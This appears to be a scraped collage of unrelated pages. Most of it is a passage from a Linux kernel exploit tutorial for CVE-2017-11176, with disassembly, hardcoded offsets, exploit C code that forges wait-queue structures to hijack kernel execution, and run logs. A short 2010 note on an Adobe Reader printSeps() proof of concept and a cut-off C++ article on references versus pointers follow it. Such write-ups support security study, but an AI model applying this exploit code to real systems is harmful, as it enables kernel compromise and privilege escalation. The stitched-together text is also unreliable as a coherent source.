  * _quickly_ goes out of the syscall once called \(i.e. there is no code "after" the arbitrary call\)
  * can be reached and does not require to pass lots of checks
  * does not have side effect on any kernel data structure

The most obvious first solution would be to put an arbitrary value in place of
**netlink\_rcv** function pointer. This FP is invoked by
_netlink\_unicast\_kernel\(\)_. However, using this primitive is a bit
tedious. In particular, there are lots of checks to validate AND it has side-
effects on our structure. The second most obvious choice would be the function
pointers inside the **netlink\_callback** structure. Again, this is not a
"good" call primitive because reaching it is complex, it has lots of side-
effects and we need to pass lots of checks.

The solution we choose is our old friend: **wait queue**. Hmm... but it does
not have any function pointer?\!

[code]

    struct __wait_queue_head {
        spinlock_t lock;
        struct list_head task_list;
    };
    typedef struct __wait_queue_head wait_queue_head_t;
    
[/code]

You're right, but its elements do \(hence the "indirect" function pointer\):

[code]

    typedef int (*wait_queue_func_t)(wait_queue_t *wait, unsigned mode, int flags, void *key);
    
    struct __wait_queue {
        unsigned int flags;
    #define WQ_FLAG_EXCLUSIVE   0x01
        void *private;
        wait_queue_func_t func;               // <------ this one!
        struct list_head task_list; 
    };
    
[/code]

In addition, we already know where this function pointer _func_ is called
\(_\_\_wake\_up\_common\(\)_\) and how to reach it \(_setsockopt\(\)_\). If
you don't remember how, please go back to part 2. We used this to unblock the
main thread.

**Again, there are always multiple ways to write an exploit.** We choose this
way because the reader should already be familiar with the wait queue now even
though it might not be the _optimal_ one. There are probably simpler ways but
this \(at least\) works. Furthermore, it will show how to _mimic_ kernel
datastructure in userland \(a common technique\).

## Controlling Wait Queue Element

In the previous section, it has been established that we will get an arbitrary
call primitive with the help of wait queue. However, the wait queue itself
does not have function pointer whereas its elements do. In order to reach them
we will need to setup some stuff in userland. It will require to _mimic_ some
kernel data structure.

**We assume that we control the data at offset _wait_ \(i.e. the wait queue
"head"\) of a _kmalloc-1024_ object. This is done via _reallocation_.**

Let's look back at the _struct netlink\_sock_. Note one important thing, the
_wait_ field is **embedded inside _netlink\_sock_** , this is not a pointer\!

**WARNING** : Pay special attention \(double check\) if a field is "embedded"
or a "pointer". This is a source of bugs and mistakes.

Let's re-write the _netlink\_sock_ structure with:

[code]

    struct netlink_sock {
      // ... cut ...
        unsigned long       *groups;
        unsigned long       state;
    
      {                             // <----- wait_queue_head_t wait;
        spinlock_t lock;
        struct list_head task_list;
      }
    
        struct netlink_callback *cb;                      
      // ... cut ...
    };
    
[/code]

Let's expand it even further. The _spinlock\_t_ is actually "just" an unsigned
int \(check the definition, take care about CONFIG\_ preprocessor\), while
"struct list\_head" is a simple structure with two pointers:

[code]

    struct list_head {
        struct list_head *next, *prev;
    };
    
[/code]

That is:

[code]

    struct netlink_sock {
      // ... cut ...
        unsigned long       *groups;
        unsigned long       state;
    
      {                             // <----- wait_queue_head_t wait;
        unsigned int slock;         // <----- ARBITRARY DATA HERE
                                    // <----- padded or not ? check disassembly!
        struct list_head *next;     // <----- ARBITRARY DATA HERE
        struct list_head *prev;     // <----- ARBITRARY DATA HERE
      }
    
        struct netlink_callback *cb;                      
      // ... cut ...
    };
    
[/code]

While reallocating, we will have to set some special value in **slock** ,
**next** and **prev** fields. To know "what" value, let's remind the call
trace up to **\_\_wake\_up\_common\(\)** while expanding all parameters:

[code]

    - SYSCALL(setsockopt)
    - netlink_setsockopt(...)
    - wake_up_interruptible(&nlk->wait)
    - __wake_up_(&nlk->wait, TASK_INTERRUPTIBLE, 1, NULL)           // <----- deref "slock"
    - __wake_up_common(&nlk->wait, TASK_INTERRUPTIBLE, 1, 0, NULL)
    
[/code]

The code is:

[code]

          static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
                int nr_exclusive, int wake_flags, void *key)
          {
    [0]     wait_queue_t *curr, *next;
    
    [1]     list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
    [2]       unsigned flags = curr->flags;
    
    [3]       if (curr->func(curr, mode, wake_flags, key) &&
    [4]           (flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
    [5]         break;
            }
          }
    
[/code]

We already studied this function. The difference now is that it will
manipulate reallocated data \(instead of legitimate wait queue elements\). It
does:

  * \[0\] - declare pointers to **wait queue elements**
  * \[1\] - iterate over the _task\_list_ doubly-linked list and set **curr** and **next**
  * \[2\] - deference the _flag_ offset of the current wait queue element _curr_
  * \[3\] - **call the function pointer _func_ of the current element**
  * \[4\] - test if the _flag_ has the WQ\_FLAG\_EXCLUSIVE bit set and if there is no more task to wake up
  * \[5\] - if so, break

The ultimate arbitrary call primitive will be invoked at \[3\].

**NOTE** : If you do not understand the _list\_for\_each\_entry\_safe\(\)_
macro now, please go back to the Doubly Linked Circular List Usage section.

Let's summarize:

  * if we can control the content of a wait queue element, we have an _arbitrary call primitive_ with the _func_ function pointer
  * we will reallocate a _fake struct netlink\_sock_ object with controlled data \(type confusion\)
  * The _netlink\_sock_ object has the head of the wait queue list

That is, we will **overwrite the _next_ and _prev_ field of the
wait\_queue\_head\_t \(i.e. _wait_ field\) and make it point to USERLAND**.
Again, the wait queue element \(_curr_\) will be in USERLAND.

Because it will point to userland, we can control the content of a wait queue
element, hence the arbitrary call. However, _\_\_wake\_up\_common\(\)_ poses
some challenges.

First, we need to deal with the _list\_for\_each\_entry\_safe\(\)_ macro:

[code]

    #define list_for_each_entry_safe(pos, n, head, member)          \
        for (pos = list_first_entry(head, typeof(*pos), member),    \
            n = list_next_entry(pos, member);           \
             &pos->member != (head);                    \
             pos = n, n = list_next_entry(n, member))
    
[/code]

Since _doubly-linked lists_ are circular, it means that the last element in
the wait queue list need to point back to the head of the list \(_&
nlk->wait_\). Otherwise, the _list\_for\_each\_entry\(\)_ macro will loop
indefinitely or eventually does a bad deref. We need to avoid it\!

Fortunately, **we can stop the loop if we can reach the _break_ statement
\[5\]**. It is reachable if:

  1. the called arbitrary function returns a non-zero value AND
  2. the WQ\_FLAG\_EXCLUSIVE bit is set in our userland wait queue element AND
  3.  _nr\_exclusive_ reaches zero

The _nr\_exclusive_ argument is set to one during _\_\_wake\_up\_common\(\)_
invokation. That is, it resets to zero after the first arbitrary call. Setting
the WQ\_FLAG\_EXCLUSIVE bit is easy, since we control the content of the
userland wait queue element. Finally, the restriction about the return value
of \(arbitrary\) called function will be considered in part 4. For now, we
will assume that we call a gadget that returns a non-zero value. In this
article, we will simply call **panic\(\)** which never returns and prints a
nice stack trace \(i.e. we can validate the exploit succeeded\).

Next, because this is the "safe" version of the list\_for\_each\_entry\(\), it
means **the second element of the list will be dereferenced BEFORE the
arbitrary call primitive.**

That is, we will need to set proper value in the **_next_ and _prev_ field of
the userland wait queue element**. Since we do not know the address of _&
nlk->wait_ \(assuming _dmesg_ is not accessible\) AND have a way to make the
loop stop with \[5\], we will simply make it point to a fake next wait queue
element.

**WARNING** : This "fake" next element must be _readable_ otherwise the kernel
will crash because of a bad deref \(i.e. _page fault_\). This will be
explained in deeper detail in part 4.

In this section we saw what should be the value in the _next_ and _prev_ field
of the reallocated _netlink\_sock_ object \(i.e. pointer to our userland wait
queue element\). Next, we saw what was the pre-requisites in the userland wait
queue element to access the arbitrary call primitive and get out of the
_list\_for\_each\_entry\_safe\(\)_ macro properly. It is time to implement
it\!

## Find Offsets

As we did with the reallocation checker, we will need to disassemble the code
of _\_\_wake\_up\_common\(\)_ to find various offsets. First, let's find its
address:

[code]

    $ grep "__wake_up_common" System.map-2.6.32 
    ffffffff810618b0 t __wake_up_common
    
[/code]

Remember the ABI, _\_\_wake\_up\_common\(\)_ has five arguments:

  1. **rdi** : wait\_queue\_head\_t \*q
  2. **rsi** : unsigned int mode
  3. **rdx** : int nr\_exclusive
  4. **rcx** : int wake\_flags
  5. **r8** : void \*key

The function starts with the prologue and then, it saves some parameters on
the stack \(making some registers available\):

[code]

    ffffffff810618c6:       89 75 cc                mov    DWORD PTR [rbp-0x34],esi // save 'mode' in the stack
    ffffffff810618c9:       89 55 c8                mov    DWORD PTR [rbp-0x38],edx // save 'nr_exclusive' in the stack
    
[/code]

Then, there is the **list\_for\_each\_entry\_safe\(\)** macro initialization:

[code]

    ffffffff810618cc:       4c 8d 6f 08             lea    r13,[rdi+0x8]            // store wait list head in R13
    ffffffff810618d0:       48 8b 57 08             mov    rdx,QWORD PTR [rdi+0x8]  // pos = list_first_entry()
    ffffffff810618d4:       41 89 cf                mov    r15d,ecx                 // store "wake_flags" in R15
    ffffffff810618d7:       4d 89 c6                mov    r14,r8                   // store "key" in R14
    ffffffff810618da:       48 8d 42 e8             lea    rax,[rdx-0x18]           // retrieve "curr" from "task_list"
    ffffffff810618de:       49 39 d5                cmp    r13,rdx                  // test "pos != wait_head"
    ffffffff810618e1:       48 8b 58 18             mov    rbx,QWORD PTR [rax+0x18] // save "task_list" in RBX
    ffffffff810618e5:       74 3f                   je     0xffffffff81061926       // jump to exit
    ffffffff810618e7:       48 83 eb 18             sub    rbx,0x18                 // RBX: current element
    ffffffff810618eb:       eb 0a                   jmp    0xffffffff810618f7       // start looping!
    ffffffff810618ed:       0f 1f 00                nop    DWORD PTR [rax]
    
[/code]

The code starts by updating the "curr" pointer \(ignored during first loop\)
and then, the core of the loop itself:

[code]

    ffffffff810618f0:       48 89 d8                mov    rax,rbx                  // set "currr" in RAX
    ffffffff810618f3:       48 8d 5a e8             lea    rbx,[rdx-0x18]           // prepare "next" element in RBX
    ffffffff810618f7:       44 8b 20                mov    r12d,DWORD PTR [rax]     // "flags = curr->flags"
    ffffffff810618fa:       4c 89 f1                mov    rcx,r14                  // 4th argument "key"
    ffffffff810618fd:       44 89 fa                mov    edx,r15d                 // 3nd argument "wake_flags"
    ffffffff81061900:       8b 75 cc                mov    esi,DWORD PTR [rbp-0x34] // 2nd argument "mode"
    ffffffff81061903:       48 89 c7                mov    rdi,rax                  // 1st argument "curr"
    ffffffff81061906:       ff 50 10                call   QWORD PTR [rax+0x10]     // ARBITRARY CALL PRIMITIVE
    
[/code]

Every statement of the "if\(\)" is evaluated to know if it should break or
not:

[code]

    ffffffff81061909:       85 c0                   test   eax,eax                  // test "curr->func()" return code
    ffffffff8106190b:       74 0c                   je     0xffffffff81061919       // goto next element
    ffffffff8106190d:       41 83 e4 01             and    r12d,0x1                 // test "flags & WQ_FLAG_EXCLUSIVE"
    ffffffff81061911:       74 06                   je     0xffffffff81061919       // goto next element
    ffffffff81061913:       83 6d c8 01             sub    DWORD PTR [rbp-0x38],0x1 // decrement "nr_exclusive"
    ffffffff81061917:       74 0d                   je     0xffffffff81061926       // "break" statement
    
[/code]

Iterate in _list\_for\_each\_entry\_safe\(\)_ and jump back if necessary:

[code]

    ffffffff81061919:       48 8d 43 18             lea    rax,[rbx+0x18]           // "pos = n"
    ffffffff8106191d:       48 8b 53 18             mov    rdx,QWORD PTR [rbx+0x18] // "n = list_next_entry()"
    ffffffff81061921:       49 39 c5                cmp    r13,rax                  // compare to wait queue head
    ffffffff81061924:       75 ca                   jne    0xffffffff810618f0       // loop back (next element)
    
[/code]

That is, the wait queue elements offsets are:

[code]

    struct __wait_queue {
        unsigned int flags;               // <----- offset = 0x00 (padded)
    #define WQ_FLAG_EXCLUSIVE   0x01
        void *private;                    // <----- offset = 0x08
        wait_queue_func_t func;           // <----- offset = 0x10
        struct list_head task_list;       // <----- offset = 0x18
    };
    
[/code]

In addition, we know that the "task\_list" field in the _wait\_queue\_head\_t_
structure is located at offset 0x8.

This was quite predictable, but it is important to understand the code in
assembly in order to know where exactly the arbitrary call primitive is
invoked \(**0xffffffff81061906**\). This will be very handy when debugging. In
addition, we know the state of various registers which would be _mandatory_ in
part 4.

The next step, is to find the address of the _wait_ field in the _struct
netlinksock_. We can retrieve it from **netlink\_setsockopt\(\)** which call
_wake\_up\_interruptible\(\)_ :

[code]

    static int netlink_setsockopt(struct socket *sock, int level, int optname,
                      char __user *optval, unsigned int optlen)
    {
        struct sock *sk = sock->sk;
        struct netlink_sock *nlk = nlk_sk(sk);
        unsigned int val = 0;
        int err;
    
      // ... cut ...
    
        case NETLINK_NO_ENOBUFS:
            if (val) {
                nlk->flags |= NETLINK_RECV_NO_ENOBUFS;
                clear_bit(0, &nlk->state);
                wake_up_interruptible(&nlk->wait);    // <---- first arg has our offset!
            } else
                nlk->flags &= ~NETLINK_RECV_NO_ENOBUFS;
            err = 0;
            break;
    
      // ... cut ...
    }
    
[/code]

**NOTE** : From the previous section, we know that the _groups_ field is
located _0x2a0_. Based on the structure layout we can _predict_ than the
offset will be something like _0x2b0_ , but we need to validate it. Sometimes
it is not that obvious...

Function, _netlink\_setsockopt\(\)_ is larger than _\_\_wake\_up\_common\(\)_.
If you don't have a disassembler like IDA, it might be harder to locate the
end of this function. However, we do not need to reverse the whole function\!
We only need to locate the call to _wake\_up\_interruptible\(\)_ macro which
invokes _\_\_wake\_up\(\)_. Let's find this call\!

[code]

    $ egrep "netlink_setsockopt| __wake_up$" System.map-2.6.32 
    ffffffff81066560 T __wake_up
    ffffffff814b8090 t netlink_setsockopt
    
[/code]

That is:

[code]

    ffffffff814b81a0:       41 83 8c 24 94 02 00    or     DWORD PTR [r12+0x294],0x8    // nlk->flags |= NETLINK_RECV_NO_ENOBUFFS
    ffffffff814b81a7:       00 08 
    ffffffff814b81a9:       f0 41 80 a4 24 a8 02    lock and BYTE PTR [r12+0x2a8],0xfe  // clear_bit()
    ffffffff814b81b0:       00 00 fe 
    ffffffff814b81b3:       49 8d bc 24 b0 02 00    lea    rdi,[r12+0x2b0]              // 1st arg = &nlk->wait
    ffffffff814b81ba:       00 
    ffffffff814b81bb:       31 c9                   xor    ecx,ecx                      // 4th arg = NULL (key)
    ffffffff814b81bd:       ba 01 00 00 00          mov    edx,0x1                      // 3nd arg = 1 (nr_exclusive)
    ffffffff814b81c2:       be 01 00 00 00          mov    esi,0x1                      // 2nd arg = TASK_INTERRUPTIBLE
    ffffffff814b81c7:       e8 94 e3 ba ff          call   0xffffffff81066560           // call __wake_up()
    ffffffff814b81cc:       31 c0                   xor    eax,eax                      // err = 0
    ffffffff814b81ce:       e9 e9 fe ff ff          jmp    0xffffffff814b80bc           // jump to exit
    
[/code]

Our intuition was good the offset is **0x2b0**.

Good\! So far we know what is the offset of _wait_ in the _netlink\_sock_
structure, as well as the layout of a wait queue element. In addition, we
precisely know where the arbitrary call primitive is invoked \(ease
debugging\). Let's _mimic_ the kernel data structure and fill the reallocation
data.

## Mimicking Kernel Datastructure

Since developing with hardcoded offset can quickly lead to unreadable exploit
code, it is always good to _mimic_ kernel datastructure. In order to check
that we don't do any mistake we will _shamelessly_ adapt the
**MAYBE\_BUILD\_BUG\_ON** macro to build a _static\_assert_ macro \(i.e.
checks during compilation time\):

[code]

    #define BUILD_BUG_ON(cond) ((void)sizeof(char[1 - 2 * !!(cond)]))
    
[/code]

If the condition is true, it will try to declare an array with a negative size
which produce a compilation error. Pretty handy\!

_Mimicking_ simple structure is easy, you just need to declare them as the
kernel does:

[code]

    // target specific offset
    #define NLK_PID_OFFSET            0x288
    #define NLK_GROUPS_OFFSET         0x2a0
    #define NLK_WAIT_OFFSET           0x2b0
    #define WQ_HEAD_TASK_LIST_OFFSET  0x8
    #define WQ_ELMT_FUNC_OFFSET       0x10
    #define WQ_ELMT_TASK_LIST_OFFSET  0x18
    
    struct list_head
    {
      struct list_head *next, *prev;
    };
    
    struct wait_queue_head
    {
      int slock;
      struct list_head task_list;
    };
    
    typedef int (*wait_queue_func_t)(void *wait, unsigned mode, int flags, void *key);
    
    struct wait_queue
    {
      unsigned int flags;
    #define WQ_FLAG_EXCLUSIVE 0x01
      void *private;
      wait_queue_func_t func;
      struct list_head task_list;
    };
    
[/code]

That's it\!

On the other hand, if you would like to mimic _netlink\_sock_ , you would need
to insert some _padding_ to have the correct layout, or worst, re-implement
all the "embedded" structures... We won't do it here since we only want to
reference the "wait" field and the "pid" and "groups" fields \(for the
reallocation checker\).

## Finalize The Reallocation Data

Alright, now that we have our structure, let's declare the userland wait queue
element and the "fake" next element globally:

[code]

    static volatile struct wait_queue g_uland_wq_elt;
    static volatile struct list_head  g_fake_next_elt;
    
[/code]

And finalize the reallocation data content:

[code]

    #define PANIC_ADDR ((void*) 0xffffffff81553684)
    
    static int init_realloc_data(void)
    {
      struct cmsghdr *first;
      int* pid = (int*)&g_realloc_data[NLK_PID_OFFSET];
      void** groups = (void**)&g_realloc_data[NLK_GROUPS_OFFSET];
      struct wait_queue_head *nlk_wait = (struct wait_queue_head*) &g_realloc_data[NLK_WAIT_OFFSET];
    
      memset((void*)g_realloc_data, 'A', sizeof(g_realloc_data));
    
      // necessary to pass checks in __scm_send()
      first = (struct cmsghdr*) &g_realloc_data;
      first->cmsg_len = sizeof(g_realloc_data);
      first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg
      first->cmsg_type = 1; // <---- ARBITRARY VALUE
    
      // used by reallocation checker
      *pid = MAGIC_NL_PID;
      *groups = MAGIC_NL_GROUPS;
    
      // the first element in nlk's wait queue is our userland element (task_list field!)
      BUILD_BUG_ON(offsetof(struct wait_queue_head, task_list) != WQ_HEAD_TASK_LIST_OFFSET);
      nlk_wait->slock = 0;
      nlk_wait->task_list.next = (struct list_head*)&g_uland_wq_elt.task_list;
      nlk_wait->task_list.prev = (struct list_head*)&g_uland_wq_elt.task_list;
    
      // initialise the "fake" second element (because of list_for_each_entry_safe())
      g_fake_next_elt.next = (struct list_head*)&g_fake_next_elt; // point to itself
      g_fake_next_elt.prev = (struct list_head*)&g_fake_next_elt; // point to itself
    
      // initialise the userland wait queue element
      BUILD_BUG_ON(offsetof(struct wait_queue, func) != WQ_ELMT_FUNC_OFFSET);
      BUILD_BUG_ON(offsetof(struct wait_queue, task_list) != WQ_ELMT_TASK_LIST_OFFSET);
      g_uland_wq_elt.flags = WQ_FLAG_EXCLUSIVE; // set to exit after the first arbitrary call
      g_uland_wq_elt.private = NULL; // unused
      g_uland_wq_elt.func = (wait_queue_func_t) PANIC_ADDR; // <----- arbitrary call! 
      g_uland_wq_elt.task_list.next = (struct list_head*)&g_fake_next_elt;
      g_uland_wq_elt.task_list.prev = (struct list_head*)&g_fake_next_elt;
      printf("[+] g_uland_wq_elt addr = %p\n", &g_uland_wq_elt);
      printf("[+] g_uland_wq_elt.func = %p\n", g_uland_wq_elt.func);
    
      return 0;
    }
    
[/code]

See how this is less _error-prone_ than hardcoded offset?

The reallocation data layout becomes:

<img src='img/Temp2_4902.png' width='851' height='561' />

Nice, we are done with reallocation data now\! :-\)

## Trigger The Arbitrary Call Primitive

Finally, we need to trigger the arbitrary call primitive from the main thread.
Since we already know that path from part 2, the following code should be
pretty straightforward:

[code]

    int main(void)
    {
      // ... cut ...
    
      printf("[+] reallocation succeed! Have fun :-)\n");
    
      // trigger the arbitrary call primitive
      val = 3535; // need to be different than zero
      if (_setsockopt(unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
      {
        perror("[-] setsockopt");
        goto fail;
      }
    
      printf("[ ] are we still alive ?\n");
      PRESS_KEY();
    
      // ... cut ...
    }
    
[/code]

## Exploit Results

It is time to launch the exploit and see if it works\! Because the kernel
crashes, you might not have the time to see the _dmesg_ output from your
virtual machine. It is highly recommended to use netconsole\!

Let's launch the exploit:

[code]

    [ ] -={ CVE-2017-11176 Exploit }=-
    [+] successfully migrated to CPU#0
    [ ] optmem_max = 20480
    [+] can use the 'ancillary data buffer' reallocation gadget!
    [+] g_uland_wq_elt addr = 0x602820
    [+] g_uland_wq_elt.func = 0xffffffff81553684
    [+] reallocation data initialized!
    [ ] initializing reallocation threads, please wait...
    [+] 300 reallocation threads ready!
    [+] reallocation ready!
    [ ] preparing blocking netlink socket
    [+] socket created (send_fd = 603, recv_fd = 604)
    [+] netlink socket bound (nl_pid=118)
    [+] receive buffer reduced
    [ ] flooding socket
    [+] flood completed
    [+] blocking socket ready
    [+] netlink socket created = 604
    [+] netlink fd duplicated (unblock_fd=603, sock_fd2=605)
    [ ] creating unblock thread...
    [+] unblocking thread has been created!
    [ ] get ready to block
    [ ][unblock] closing 604 fd
    [ ][unblock] unblocking now
    [+] mq_notify succeed
    [ ] creating unblock thread...
    [+] unblocking thread has been created!
    [ ] get ready to block
    [ ][unblock] closing 605 fd
    [ ][unblock] unblocking now
    [+] mq_notify succeed
    
[/code]

**NOTE** : We don't see the "reallocation succeed" string because the kernel
crashes before dumping it to the console \(it is buffered however\).

And the _netconsole_ result:

[code]

    [  213.352742] Freeing alive netlink socket ffff88001bddb400
    [  218.355229] Kernel panic - not syncing: ^A
    [  218.355434] Pid: 2443, comm: exploit Not tainted 2.6.32
    [  218.355583] Call Trace:
    [  218.355689]  [<ffffffff8155372b>] ? panic+0xa7/0x179
    [  218.355927]  [<ffffffff810665b3>] ? __wake_up+0x53/0x70
    [  218.356045]  [<ffffffff81061909>] ? __wake_up_common+0x59/0x90
    [  218.356156]  [<ffffffff810665a8>] ? __wake_up+0x48/0x70
    [  218.356310]  [<ffffffff814b81cc>] ? netlink_setsockopt+0x13c/0x1c0
    [  218.356460]  [<ffffffff81475a2f>] ? sys_setsockopt+0x6f/0xc0
    [  218.356622]  [<ffffffff8100b1a2>] ? system_call_fastpath+0x16/0x1b
    
[/code]

**VICTORY\!** We successfully called _panic\(\)_ from
_netlink\_setsockopt\(\)_\!

**We are now controlling the Kernel Execution Flow\! The _arbitrary call
primitive_ has been exploited. :-\)**

* * *
# Conclusion

 _Wow... It was a long run\!_

In this article we saw lots of things. First, we introduced the memory
subsystem while focusing on the SLAB allocator. In addition, we saw a critical
data structure used all over the place in the kernel \(_list\_head_\) as well
as the _container\_of\(\)_ macro.

Secondly, we saw what was _use-after-free_ bug and the general strategy to
exploit them with _type confusion_ in the Linux kernel. We emphasized the
general information required to gather before trying to exploit it and saw
that KASAN can automate this laborious task. We gathered information for our
specific bug and exposed several methods to statically or dynamically find the
cache object size \(pahole, /proc/slabinfo, ...\).

Thirdly, we covered how to do reallocation in the Linux Kernel using the
_well-known_ "ancillary data buffer" gadget \(_sendmsg\(\)_\), saw what was
controllable and how to use it to reallocate with \(almost\) arbitrary
content. The implementation showed two simple tricks to minimize reallocation
failure \(cpumask and heap spraying\).

Finally, we exposed where all our _uaf primitives_ were \(the primitive
gates\). We used one to check the reallocation status \(uncontrolled read\)
and another \(from wait queue\) to gain an arbitrary call. The implementation
mimicked the kernel data structure and we extracted our target specific offset
from assembly. In the end, the current exploit is able to call _panic\(\)_ ,
hence we gained control over the kernel execution flow.

In the next \(and final\) article, we will see how to use this arbitrary call
primitive to take over ring-0 using _stack pivot_ and _ROP chain_. Unlike
userland ROP exploitation, the kernel version has some extra requirements and
issues to consider \(page faults, SMEP\) that we will overcome. In the end, we
will repair the kernel so that it does not crash when the exploit exits and
elevates our privileges.

Hope you enjoy this journey in the Linux kernel and see you in part 4.

# extraexploit: full disclosure xpl.pdf Adober Reader 9.4 poc - printSeps\(\)

**Created:**| _11/10/2010 8:09:27 AM_  
---|---  
**Updated:**| _11/10/2010 8:09:45 AM_  
**Author:**| __  
**Tags:**| _Exploit Malware-analysis vulnerability_  
  

### full disclosure xpl.pdf Adober Reader 9.4 poc - printSeps\(\)

**November 8, 2010:**  
Just some screenshots of my smart analysis for this bug:  
  
The vtable where is referenced the PrintSeps\(\) method:  
  

<img src='img/Temp2_10250.png' width='640' height='315' />

  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
The PrintSeps\(\) method starting code:  
  

<img src='img/Temp2_10248.png' width='640' height='366' />

Where Adobe Reader 9.4 crash after PrintSeps is processed:  
  

<img src='img/Temp2_10247.png' width='640' height='312' />

**  
November 5, 2010:  
emerging threats Snort sign**  
****http://permalink.gmane.org/gmane.comp.security.ids.snort.emerging-
sigs/7437**  
  
eEye report as remote code execution**  
http://www.eeye.com/Resources/Security-Center/Research/Zero-Day-
Tracker/2010/20101104  
**  
Adobe response:**  
http://blogs.adobe.com/psirt/2010/11/potential-issue-in-adobe-reader.html  
  
**November 4, 2010:**  
The vulnerable method seem: **printSeps\(\)  
**  

<img src='img/Temp2_10249.png' width='640' height='348' />

  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
The original xpl.pdf is retrived
viahttp://seclists.org/fulldisclosure/2010/Nov/23  
  
more info:  
  
**Xanda**  
http://twitter.xanda.org/  
  
**fuzzyd00r**  
http://fuzzyd00r.blogspot.com/2010/04/adobe-acrobat-javascript.html  
  
**PasteBIN**  
http://pastebin.com/h9GVyJhQ

# Choosing Between References and Pointers in C++ | | InformIT
**Created:**| _5/29/2012 7:50:35 AM_  
---|---  
**Updated:**| _5/29/2012 7:50:35 AM_  
**Author:**| __  
**Tags:**| _C++ pointers_  
  

# Choosing Between References and Pointers in C++

  * By Brian Overland
  * May 24, 2012

  * <img src='img/Temp2_1460.png' alt='Print' />Print
  * <img src='img/Temp2_1457.png' width='16' height='16' alt='Share This' />Share This
  * <img src='img/Temp2_1459.png' alt='Discuss' />Discuss

**Page 1** of 1

### From the author of

<img src='img/Temp2_1458.png' alt='C++ Without Fear: A Beginner's Guide That
Makes You Feel Smart, 2nd Edition' />

C++ Without Fear: A Beginner's Guide That Makes You Feel Smart, 2nd Edition  
  
<img src='img/Temp2_1455.png' alt='Learn More' /><img src='img/Temp2_1456.png'
alt='Add To Cart' />

Pointers have always been among the favorite subjects of C and C++
programmers. The introduction of reference types to the C++ language raises a
series of questions: How are references similar or different from pointers?
How are they implemented? And how do they replace pointers altogether in the
modern crop of languages: Java, C\#, and VB.NET? Also, can you reduce pointer
usage in C++? Brian Overland, author of C++ Without Fear: A Beginner's Guide
That Makes You Feel Smart, 2nd Edition, explores all these points.

Documentation is not always written with the elegance of William Shakespeare
or the clarity of Carl Sagan. I know that better than anyone, as I used to
write some of it, and made myself very unpopular with my fellow writers when I
complained about it\!

Years ago, I struggled with the documentation in Visual Basic 2.0 on creating
objects \(don’t worry; we’ll get to C++ in a moment\). It kept saying, “In VB,
objects are references.” I knew that references were also used in C++, but
mainly for copy constructors \(or so I thought\). As I said, this was a number
of years ago.

After an hour of banging my head against the wall, a light bulb finally went
on. I realized, “Hey, references are just pointers without the pointer
syntax\! Now I understand\!”

That statement—references are pointers without pointer syntax—is not precisely
true. But the relationship between references and pointers is often a close
one. It turns out that most of the newer, popular programming
languages—including VB.NET, Java, and C\#—take away pointers altogether and
require you to use references in their place.

C++ retains both. To write the best C++, code, you need to know where best to
use one or the other and what, if anything, they have to do with each other.

## Pointers and References: A Review of Fundamentals

In C and C++, the best way to understand pointers \(assuming you’re not
already fluent in machine code, in which case they’re easy\) is to understand
that a pointer is a variable providing access to another piece of data. It’s
easier to understand with an example.

[code]

    double x = 3.14;
    double *p1 = &x;
    double *p2 = &x;
    double *p3 = &x;
[/code]

In this example, `p1`, `p2`, and `p3` are pointers, and they are all
initialized with the address `x`, denoted as `&x`. Consequently, all changes
to any of the variables `*p1`, `*p2`, `*p3` result in changes to `x`, and all
uses of `*p1`, `*p2`, and `*p3` get the value of x\[el\] because `*p1` just
means “the thing that `p1` points to.”

For example, consider these statements:

[code]

    *p1 = (*p2 / 2) + *p3;
    (*p3)++;
[/code]

These statements have the same effect as:

[code]

    x = (x / 2) + x;
    x++;
[/code]

Only one floating-point variable \(type `double`\) is allocated in this
example, but it can be referred to in a number of different ways, almost as if
it had three other names \(`*p1`, `*p2`, `*p3`\).

We can do something similar with reference variables. In this example, `aRef`,
`bRef`, and `cRef` all refer to the variable `x`. The effect in this case is
to literally give `x` three other names.

[code]

    double x = 3.14;
    double &aRef = x;
    double &bRef = x;
    double &cRef = x;
[/code]

These declarations create just one floating-point variable, `x`, but provide
three other ways to refer to it, so that the statements

[code]

    aRef = (bRef / 2) + cRef;
    aRef++;
[/code]

have exactly the same effect as

[code]

    x = (x / 2) + x;
    x++;
[/code]

References, therefore, have a function similar to that of pointers, but
already some differences are apparent: The example with pointers mandates the
creation of three additional variables—`p1`, `p2`, and `p3`—each of which
holds an address \(32 bits on most computers\). It’s hard for me to imagine
that any compiler would refuse to allocate the pointer variables.

In contrast, with the reference example, it’s _possible_ the compiler might
allocate three pointers and hide that fact, turning the use of `aRef`, for
example, into a dereferenced pointer.

Yet a really smart optimizing compiler wouldn’t even do that. It would just
recognize that the use of `aRef`, `bRef`, or `cRef` in this example is really
the same as using `x` itself. So it wouldn’t bother to allocate any extra
data.

## Where They Get Useful: Function Arguments

Of course, until you start using them in functions, both pointers and
references usually seem to have little, er, point. The classic use of pointers
is in a swap function. Suppose you want to write a function that has the
potential to operate on its arguments, permanently changing their values. You
will need to use pointers or references. Here’s the pointer version:

[code]

    void swap_with_ptrs(int *p1, int *p2) {
         int temp = *p1;
         *p1 = *p2;
         *p2 = temp;
    }
[/code]

Here is the version that uses references:

[code]

    void swap_with_refs(int &aRef, int &bRef) {
         int temp = aRef;
         aRef = bRef;
         bRef = temp;
    }
[/code]

These two functions look similar and in fact do the same thing.

I’ve gotten into trouble with one or two people by saying this, but in my
opinion, both of these version implement what, in other languages, you would
call _pass by reference_ ; they do what in BASIC or FORTRAN you would do by
specifying a reference variable, which lets the function or subroutine change
the value of the argument passed to it. In C, using pointers was the only way
you could “pass by reference.”

_Technically_ , what’s really going on with the pointer version is that it’s
passing pointers by value, but the effect is exactly the same as passing
integers by reference.

Moreover—and I will go out on a limb to say this—to implement the reference
version, the compiler will almost certainly use pointers and de-reference them
under the cover. Why? Because there’s no other way to do it, at least no
obvious way.

But... if the two versions produce exactly the same effects at runtime, how do
you choose between them?

I’m going to come down on the side of using references, because even though
the implementations are identical, there is one other difference: When you
call the function at runtime, the version with references passes the variables
directly, rather than making you use the additional operator needed to get the
addresses \(`&`\). So, it involves slightly less syntax.

[code]

    int big = 100;
    int little = 1;
    swap_with_ptrs(&big, &little);  // swap big and little
    swap_with_refs(big, little);    // swap again!
[/code]

